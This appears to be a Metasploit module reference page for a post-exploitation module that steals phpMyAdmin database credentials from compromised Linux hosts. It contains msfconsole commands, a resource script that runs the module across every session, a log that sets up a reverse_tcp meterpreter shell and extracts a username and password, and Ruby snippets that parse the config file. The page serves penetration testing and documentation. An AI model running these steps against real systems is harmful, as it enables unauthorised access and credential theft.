Phpmyadmin credentials stealer - Metasploit
This page contains detailed information about how to use the post/linux/gather/phpmyadmin_credsteal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Phpmyadmin credentials stealer
Module: post/linux/gather/phpmyadmin_credsteal
Source code: modules/post/linux/gather/phpmyadmin_credsteal.rb
Disclosure date: -
Last modification time: 2018-09-07 11:13:09 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module gathers Phpmyadmin creds from target linux machine.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/linux/gather/phpmyadmin_credsteal
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/linux/gather/phpmyadmin_credsteal
msf post(phpmyadmin_credsteal) > show options
... show and set options ...
msf post(phpmyadmin_credsteal) > set SESSION session-id
msf post(phpmyadmin_credsteal) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/linux/gather/phpmyadmin_credsteal")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This post module gathers PhpMyAdmin Creds from target Linux machine.
- https://www.phpmyadmin.net/downloads/ [Download URL]
Verification Steps
- Start
msfconsole
- Get a session
- Do:
use post/linux/gather/phpmyadmin_credsteal
- Do:
set SESSION [SESSION]
- Do:
run
Scenarios
msf5 > use multi/handler
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (816260 bytes) to 192.168.37.226
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.226:34880) at 2018-09-06 08:49:52 -0500
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use post/linux/gather/phpmyadmin_credsteal
msf5 post(linux/gather/phpmyadmin_credsteal) > set session 2
session => 2
msf5 post(linux/gather/phpmyadmin_credsteal) > run
PhpMyAdmin Creds Stealer!
[+] PhpMyAdmin config found!
[+] Extracting creds
[+] User: admin
[+] Password: acoolpassword
[*] Storing credentials...
[+] Config file located at /Users/space/.msf4/loot/20180907081056_default_192.168.37.226_phpmyadmin_conf_580315.txt
[*] Post module execution completed
msf5 post(linux/gather/phpmyadmin_credsteal) >
Go back to menu.
Msfconsole Usage
Here is how the linux/gather/phpmyadmin_credsteal post exploitation module looks in the msfconsole:
msf6 > use post/linux/gather/phpmyadmin_credsteal
msf6 post(linux/gather/phpmyadmin_credsteal) > show info
Name: Phpmyadmin credentials stealer
Module: post/linux/gather/phpmyadmin_credsteal
Platform: Linux
Arch:
Rank: Normal
Provided by:
Chaitanya Haritash [bofheaded]
Dhiraj Mishra <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
This module gathers Phpmyadmin creds from target linux machine.
Module Options
This is a complete list of options available in the linux/gather/phpmyadmin_credsteal post exploitation module:
msf6 post(linux/gather/phpmyadmin_credsteal) > show options
Module options (post/linux/gather/phpmyadmin_credsteal):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the linux/gather/phpmyadmin_credsteal post exploitation module:
msf6 post(linux/gather/phpmyadmin_credsteal) > show advanced
Module advanced options (post/linux/gather/phpmyadmin_credsteal):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the linux/gather/phpmyadmin_credsteal module can do:
msf6 post(linux/gather/phpmyadmin_credsteal) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the linux/gather/phpmyadmin_credsteal post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(linux/gather/phpmyadmin_credsteal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Couldn't find PhpMyAdmin credentials
Here is a relevant code snippet related to the "Couldn't find PhpMyAdmin credentials" error message:
28: def parse_creds(contents)
29: db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first
30: db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first
31:
32: unless db_user && db_pass
33: print_error("Couldn't find PhpMyAdmin credentials")
34: return
35: end
36:
37: print_good("User: #{db_user}")
38: print_good("Password: #{db_pass}")
This module is not compatible with windows
Here is a relevant code snippet related to the "This module is not compatible with windows" error message:
43:
44: def run
45: print_line("\nPhpMyAdmin Creds Stealer!\n")
46:
47: if session.platform.include?("windows")
48: print_error("This module is not compatible with windows")
49: return
50: end
51:
52: conf_path = "/etc/phpmyadmin/config-db.php"
53: unless file_exist?(conf_path)
<CONF_PATH> doesn't exist on target
Here is a relevant code snippet related to the "<CONF_PATH> doesn't exist on target" error message:
49: return
50: end
51:
52: conf_path = "/etc/phpmyadmin/config-db.php"
53: unless file_exist?(conf_path)
54: print_error("#{conf_path} doesn't exist on target")
55: return
56: end
57:
58: print_good('PhpMyAdmin config found!')
59: res = read_file(conf_path)
You may not have permissions to read the file.
Here is a relevant code snippet related to the "You may not have permissions to read the file." error message:
56: end
57:
58: print_good('PhpMyAdmin config found!')
59: res = read_file(conf_path)
60: unless res
61: print_error("You may not have permissions to read the file.")
62: return
63: end
64:
65: print_good("Extracting creds")
66: parse_creds(res)
Go back to menu.
Related Pull Requests
- #10598 Merged Pull Request: Store Credentials Found with PhpMyAdmin Password Extractor
- #10484 Merged Pull Request: Add phpmyadmin password extractor
Go back to menu.
See Also
Check also the following modules related to this module:
- post/linux/gather/checkcontainer
- post/linux/gather/checkvm
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_commands
- post/linux/gather/enum_configs
- post/linux/gather/enum_containers
- post/linux/gather/enum_nagios_xi
- post/linux/gather/enum_network
- post/linux/gather/enum_protections
- post/linux/gather/enum_psk
- post/linux/gather/enum_system
- post/linux/gather/enum_users_history
- post/linux/gather/gnome_commander_creds
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/haserl_read
- post/linux/gather/hashdump
- post/linux/gather/manageengine_password_manager_creds
- post/linux/gather/mimipenguin
- post/linux/gather/mount_cifs_creds
- post/linux/gather/openvpn_credentials
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/tor_hiddenservices
- post/linux/gather/vcenter_secrets_dump
Authors
- Chaitanya Haritash [bofheaded]
- Dhiraj Mishra <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.